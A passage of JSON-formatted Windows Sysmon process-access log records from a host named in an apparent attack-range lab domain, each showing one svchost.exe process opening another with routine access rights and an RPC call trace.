11:50:26.577","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2458,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:26.577\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:26.577","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2459,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:26.577\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:26.577","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2460,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:26.577\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:26.577","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2461,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:26.577\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:26.577","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2462,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:26.577\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:26.577","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2463,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:26.577\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:26.577","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2464,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:26.577\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:26.577","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2465,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:26.577\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 